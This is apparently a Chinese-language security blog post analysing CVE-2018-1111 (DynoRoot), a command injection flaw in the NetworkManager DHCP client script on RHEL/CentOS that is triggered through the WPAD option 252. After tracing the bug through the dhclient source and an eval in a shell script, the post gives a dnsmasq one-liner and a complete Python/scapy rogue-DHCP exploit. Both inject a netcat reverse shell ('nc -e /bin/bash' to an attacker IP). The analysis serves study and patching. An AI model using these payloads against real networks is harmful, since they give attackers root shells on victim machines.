RCE

CVE-2018-1111

RCE

Posted by DC on April 27, 2019

CVE-2018-1111

CVE-2018-1111漏洞的问题主要是Red Hat Enterprise Linux(测试环境在centos7)、多个DHCP客户端软件包中包含NetworkManager的脚本存在命令注入问题。通过恶意DHCP服务响应,可以通过DHCP中NetworkManager的调用造成任意命令执行。

漏洞分析

主要的攻击流程是:

  1. DHCPclient –> 向DHCPserver请求 包含 WPAD的选项:Parameter Request List Item: (252) Private/Proxy autodiscovery —–>DHCPserver
  2. 在DHCPserver端 构造简单的利用请求:xxx’&touch /tmp/test # 进行 touch 操作
  3. DHCPserver —> 发送带有攻击数据的回应数据 Options : (252) Private/Proxy autodiscovery: xxx’&touch /tmp/test # —》 DHCPclient内部调用对编码处理 —》DHCPclient调用默认处理脚本 11-dhclient 会传递此数据在eval函数中造成命令执行。
DHCP WPAD选项利用

在客户端的主机上, NetworkManager是一个Linux程序,用于在配置DHCP网络模式时管理系统网络。

NetworkManager会调用dhclient服务来发送DHCP中的请求

通过启动的如下服务可以看出

root      3316  0.0  0.0 107468  9116 ?        S    03:25   0:00
/sbin/dhclient -d -q -sf /usr/libexec/nm-dhcp-helper -pf /var/run/dhclient-eth0.pid -lf /var/lib/NetworkManager/dhclient-40d3231b-aaaa-4369-9465-78a91bec0930-eth0.lease -cf /var/lib/NetworkManager/dhclient-eth0.conf eth0

启动的dhclient服务。采用的配置文件为 NetworkManager 服务提供的,其配置文件要求请求WPAD选项

# Created by NetworkManager

send host-name "victim"; # added by NetworkManager

option rfc3442-classless-static-routes code 121 = array of unsigned integer 8;
option ms-classless-static-routes code 249 = array of unsigned integer 8;
option wpad code 252 = string;

also request rfc3442-classless-static-routes;
also request ms-classless-static-routes;
also request static-routes;
also request wpad;      <========攻击利用WPAD通信请求
also request ntp-servers;

WPAD

WPAD 通过让浏览器自动发现代理服务器,使代理服务器对用户来说是透明的,进而轻松访问互联网。WPAD 可以借助 DNS 服务器或 DHCP 服务器来查询代理自动配置(PAC)文件的位置。

WPAD将查询DHCP和DNS(按此顺序)以获取要连接的URL – 如果没有可用的DNS响应,显然LLMNR和Netbios也可以使用。WPAD-over-DNS的一些特性使得攻击向量能够出人意料地发挥作用。

在最常见的情况下,一台机器将使用选项码252查询本地DHCP服务器.DHCP服务器回复一个字符串– 比如“http://server.domain/proxyconfig.pac”,它指定一个配置文件的URL。 然后客户端继续获取这个文件,并将内容作为Javascript执行。

在内网环境使用WPAD/PAC和JS攻击win10

dhcpclient 漏洞触发过程

当dhclient 端收到 带有恶意请求的 252 wpad 请求后,调用 处理函数 client_option_envadd 进行数值提取存储和简单编码处理

主要依靠 pretty_print_option 进行 编码转义

进行 \ => \ \ 的字符转义

check_option_values 进行特殊字符检查,当我

client_envadd 为主要添加存储

调用client_option_envadd()函数将值保存到变量中
void client_option_envadd (struct option_cache *oc,
			   struct packet *packet, struct lease *lease,
			   struct client_state *client_state,
			   struct option_state *in_options,
			   struct option_state *cfg_options,
			   struct binding_scope **scope,
			   struct universe *u, void *stuff)
{
	struct envadd_state *es = stuff;
	struct data_string data;
	memset (&data, 0, sizeof data);

	if (evaluate_option_cache (&data, packet, lease, client_state,
				   in_options, cfg_options, scope, oc, MDL)) {
		if (data.len) {
			char name [256];
			if (dhcp_option_ev_name (name, sizeof name,
						 oc->option)) {
				const char *value;
				size_t length;
				value = pretty_print_option(oc->option,  ====对提取字符进行处理
							    data.data,
							    data.len, 0, 0);
				length = strlen(value);

				if (check_option_values(oc->option->universe,
							oc->option->code,
							value, length) == 0) {
					client_envadd(es->client, es->prefix,
						      name, "%s", value);
				} else {
					log_error("suspect value in %s "
						  "option - discarded",
						  name);
				}
				data_string_forget (&data, MDL);
			}
		}
	}
}

static int check_option_values(struct universe *universe,
			       unsigned int opt,
			       const char *ptr,
			       size_t len)
{
	if (ptr == NULL)
		return(-1);

	/* just reject options we want to protect, will be escaped anyway */
	if ((universe == NULL) || (universe == &dhcp_universe)) {
		switch(opt) {
		      case DHO_DOMAIN_NAME:
#ifdef ACCEPT_LIST_IN_DOMAIN_NAME
			      return check_domain_name_list(ptr, len, 0);
#else
			      return check_domain_name(ptr, len, 0);
#endif
		      case DHO_HOST_NAME:
		      case DHO_NIS_DOMAIN:
		      case DHO_NETBIOS_SCOPE:
			return check_domain_name(ptr, len, 0);
			break;
		      case DHO_DOMAIN_SEARCH:
			return check_domain_name_list(ptr, len, 0);
			break;
		      case DHO_ROOT_PATH:
			if (len == 0)
				return(-1);
			for (; (*ptr != 0) && (len-- > 0); ptr++) {
				if(!(isalnum((unsigned char)*ptr) ||
				     *ptr == '#'  || *ptr == '%' ||
				     *ptr == '+'  || *ptr == '-' ||
				     *ptr == '_'  || *ptr == ':' ||
				     *ptr == '.'  || *ptr == ',' ||
				     *ptr == '@'  || *ptr == '~' ||
				     *ptr == '\\' || *ptr == '/' ||
				     *ptr == '['  || *ptr == ']' ||
				     *ptr == '='  || *ptr == ' '))
					return(-1);
			}
			return(0);
			break;
		}
	}

domain 进行检查,未对wpad 做明显处理
static int check_domain_name(const char *ptr, size_t len, int dots)
{
	const char *p;

	/* not empty or complete length not over 255 characters   */
	if ((len == 0) || (len > 256))
		return(-1);

	/* consists of [[:alnum:]-]+ labels separated by [.]      */
	/* a [_] is against RFC but seems to be "widely used"...  */
	for (p=ptr; (*p != 0) && (len-- > 0); p++) {
		if ((*p == '-') || (*p == '_')) {
			/* not allowed at begin or end of a label */
			if (((p - ptr) == 0) || (len == 0) || (p[1] == '.'))
				return(-1);
		} else if (*p == '.') {
			/* each label has to be 1-63 characters;
			   we allow [.] at the end ('foo.bar.')   */
			size_t d = p - ptr;
			if ((d <= 0) || (d >= 64))
				return(-1);
			ptr = p + 1; /* jump to the next label    */
			if ((dots > 0) && (len > 0))
				dots--;
		} else if (isalnum((unsigned char)*p) == 0) {
			/* also numbers at the begin are fine     */
			return(-1);
		}
	}
	return(dots ? -1 : 0);
}
进行变量保存、
void client_envadd (struct client_state *client,
		    const char *prefix, const char *name, const char *fmt, ...)
{
	char spbuf [1024];
	char *s;
	unsigned len;
	struct string_list *val;
	va_list list;

	va_start (list, fmt);
	len = vsnprintf (spbuf, sizeof spbuf, fmt, list);
	va_end (list);

	val = dmalloc (strlen (prefix) + strlen (name) + 1 /* = */ +
		       len + sizeof *val, MDL);
	if (!val)
		return;
	s = val -> string;
	strcpy (s, prefix);
	strcat (s, name);
	s += strlen (s);
	*s++ = '=';
	if (len >= sizeof spbuf) {
		va_start (list, fmt);
		vsnprintf (s, len + 1, fmt, list);
		va_end (list);
	} else
		strcpy (s, spbuf);
	val -> next = client -> env;
	client -> env = val;
	client -> envc++;
}

通过 启动的/usr/libexec/nm-dhcp-helper 进行数据传递 -- dbus服务 
NetworkManager -->调用nm-dispatcher --》读取dbus中的WPAD DHCP数据 保存到 环境变量DHCP4_WPAD
启动/etc/NetworkManager/dispatcher.d/11-dhclient 进行处理 
/etc/NetworkManager/dispatcher.d/11-dhclient

#!/bin/bash
# run dhclient.d scripts in an emulated environment

PATH=/bin:/usr/bin:/sbin
SAVEDIR=/var/lib/dhclient
ETCDIR=/etc/dhcp
interface=$1

#eval 造成执行的地方
eval "$(    
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read  opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done
)"  

[ -f /etc/sysconfig/network ] && . /etc/sysconfig/network

[ -f /etc/sysconfig/network-scripts/ifcfg-$interface ] && \
    . /etc/sysconfig/network-scripts/ifcfg-$interface

if [ -d $ETCDIR/dhclient.d ]; then
    for f in $ETCDIR/dhclient.d/*.sh; do
        if [ -x $f ]; then
            subsystem="${f%.sh}"
            subsystem="${subsystem##*/}"
            . ${f}
            if [ "$2" = "up" ]; then
                "${subsystem}_config"
            elif [ "$2" = "dhcp4-change" ]; then
                if [ "$subsystem" = "chrony" -o "$subsystem" = "ntp" ]; then
                    "${subsystem}_config"
                fi
            elif [ "$2" = "down" ]; then
                "${subsystem}_restore"
            fi
        fi
    done
fi

declare命令用于声明 shell 变量。

declare为shell指令,在第一种语法中可用来声明变量并设置变量的属性([rix]即为变量的属性),在第二种语法中可用来显示shell函数。若不加上任何参数,则会显示全部的shell变量与函数(与执行set指令的效果相同)。

“declare”命令将执行另外两项操作:

  1. 如果变量包含特殊字符(例如空格或单引号),则会在两侧添加’。
  2. 它将内部转换为’'(将一个字符转换为四个字符)。

执行到 declare 后 读取 DHCP4_开头的环境变量, (对获取的命令处理,若未提供参数,默认进行转义字符读取)

则最开始xxx '\&touch / tmp / test# 将 变为 ‘xxx '\“\&touch / tmp / test#’

即:’xxx’’ 和 touch / tmp / test#’

则eval 函数将运行

echo "export $optname=$optvalue"  ————》

eval "$(echo "export new_wpad='xxx'''&touch /tmp/test #' ")"

"export new_wpad='xxx'
''
&touch /tmp/test #' "

则会造成命令执行漏洞

POC利用

通过 模拟DHCP 服务端的漏洞,将 252 wpad 的回应 进行篡改 ,则可进行 DHCP 的攻击.

  1. 服务配置进行利用
通过服务设置 ,可直接设置 252 服务的利用。
dnsmasq --interface=eth0 --bind-interfaces  --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"

  1. 自己模拟进行服务模拟
#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Exploit Title: DynoRoot DHCP Client Command Injection
# Date: May 18, 2018
# Exploit Author: Kevin Kirsche (d3c3pt10n)
# Exploit Repository: https://github.com/kkirsche/CVE-2018-1111
# Exploit Discoverer: Felix Wilhelm (@_fel1x on twitter)
# Exploit Webpage: https://dynoroot.ninja
# Vendor Homepage: https://www.redhat.com/
# Version: RHEL 6.x / 7.x and CentOS 6.x/7.x
# Versions affected per RHEL release, not validated on RHEL / CentOS 6.x
#     as such, it may not function on this version
# Tested on:
#   * CentOS Linux release 7.4.1708 (Core) / NetworkManager 1.8.0-11.el7_4
#   * Fedora Linux 27 (Workstation Edition) / NetworkManager 2.29-6.fc27 
# CVE : CVE-2018-1111

from argparse import ArgumentParser
from scapy.all import BOOTP_am, DHCP
from scapy.base_classes import Net


class DynoRoot(BOOTP_am):
    function_name = "dhcpd"

    def make_reply(self, req):
        resp = BOOTP_am.make_reply(self, req)
        if DHCP in req:
            dhcp_options = [(op[0], {1: 2, 3: 5}.get(op[1], op[1]))
                            for op in req[DHCP].options
                            if isinstance(op, tuple) and op[0] == "message-type"]
            dhcp_options += [("server_id", self.gw),
                             ("domain", self.domain),
                             ("router", self.gw),
                             ("name_server", self.gw),
                             ("broadcast_address", self.broadcast),
                             ("subnet_mask", self.netmask),
                             ("renewal_time", self.renewal_time),
                             ("lease_time", self.lease_time),
                             (252, "x'&{payload} #".format(payload=self.payload)),
                             "end"
                             ]
            resp /= DHCP(options=dhcp_options)
        return resp


if __name__ == '__main__':
    parser = ArgumentParser(description='CVE-2018-1111 DynoRoot exploit')

    parser.add_argument('-i', '--interface', default='eth0', type=str,
                        dest='interface',
                        help='The interface to listen for DHCP requests on (default: eth0)')
    parser.add_argument('-s', '--subnet', default='192.168.41.0/24', type=str,
                        dest='subnet', help='The network to assign via DHCP (default: 192.168.41.0/24)')
    parser.add_argument('-g', '--gateway', default='192.168.41.254', type=str,
                        dest='gateway', help='The network gateway to respond with (default: 192.168.41.254)')
    parser.add_argument('-d', '--domain', default='victim.net', type=str,
                        dest='domain', help='Domain to assign (default: victim.net)')
    parser.add_argument('-r', '--renewal-time', default=600, type=int,
                        dest='renewal_time', help='The DHCP lease renewal interval (default: 600)')
    parser.add_argument('-l', '--lease-time', default=3600, type=int,
                        dest='lease_time', help='The DHCP lease duration (default: 3600)')
    parser.add_argument('-p', '--payload', default='nc -e /bin/bash 192.168.41.2 1337', type=str,
                        dest='payload', help='The payload / command to inject (default: nc -e /bin/bash 192.168.41.2 1337)')

    args = parser.parse_args()
    server = DynoRoot(iface=args.interface, domain=args.domain,
                      pool=Net(args.subnet),
                      network=args.subnet,
                      gw=args.gateway,
                      renewal_time=args.renewal_time,
                      lease_time=args.lease_time)
    server.payload = args.payload

    server()

相关链接

https://unit42.paloaltonetworks.com/unit42-analysis-dhcp-client-script-code-execution-vulnerability-cve-2018-1111/

https://cn.0day.today/exploit/30581

https://github.com/kkirsche/CVE-2018-1111

https://www.exploit-db.com/exploits/44652

https://github.com/knqyf263/CVE-2018-1111

https://blog.csdn.net/vevenlcf/article/details/80887753

http://rpmfind.net/linux/RPM/centos/7.6.1810/x86_64/Packages/dhclient-4.2.5-68.el7.centos.1.x86_64.html